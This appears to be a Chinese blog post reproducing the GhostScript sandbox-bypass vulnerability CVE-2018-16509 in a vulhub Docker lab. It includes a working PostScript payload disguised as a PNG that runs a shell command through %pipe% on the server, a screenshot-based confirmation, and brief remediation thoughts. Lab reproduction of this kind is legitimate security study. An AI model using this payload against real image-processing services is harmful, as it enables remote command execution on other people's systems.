GhostScript 沙箱绕过(CVE-2018-16509)

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)

漏洞简介

① 漏洞成因,在2018年Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。即用户可以通过图片隐写的方式构造payload绕过检测构造命令执行。
② 因为GhostScript被许多图片处理库使用,默认情况是GhostScript通过传入图片内容将其分发到不同的处理算法中当然也包括GhostScript。

漏洞复现

环境搭建

靶机:Ubuntu20.04
攻击机:本地物理机
VMware
在Ubuntu中打开vulhub目录进入对应的GhostScript相应的环境下
启动环境:
docker-compose up -d
在这里插入图片描述
环境启动成功后可以访问相应的端口,访问将可以看到一个上传组件。http://your-ip:8080
在这里插入图片描述
构建包含payload的png文件,参考大神的payload构造poc.png图片格式。

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

在浏览器上上传我们构造的png图片可以看到浏览器返回如下内容,这就说明了我们构造的png文件内容被服务器端执行了
在这里插入图片描述
打开Ubuntu靶机进行验证查看,可以看到我们构造的payload确实如同浏览器那样的方式进行了执行.
在这里插入图片描述
所以我们就可以通过这个漏洞去构造想要执行的payload来对存在该项服务漏洞的内容进行攻击。

修复思想

可以参考官方的修复思路在标签中添加识别图片类型的内容标签,我觉得还可以增加识别各个文件类型的头部或者是特征来加以限制,但是这样会增大系统开销。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值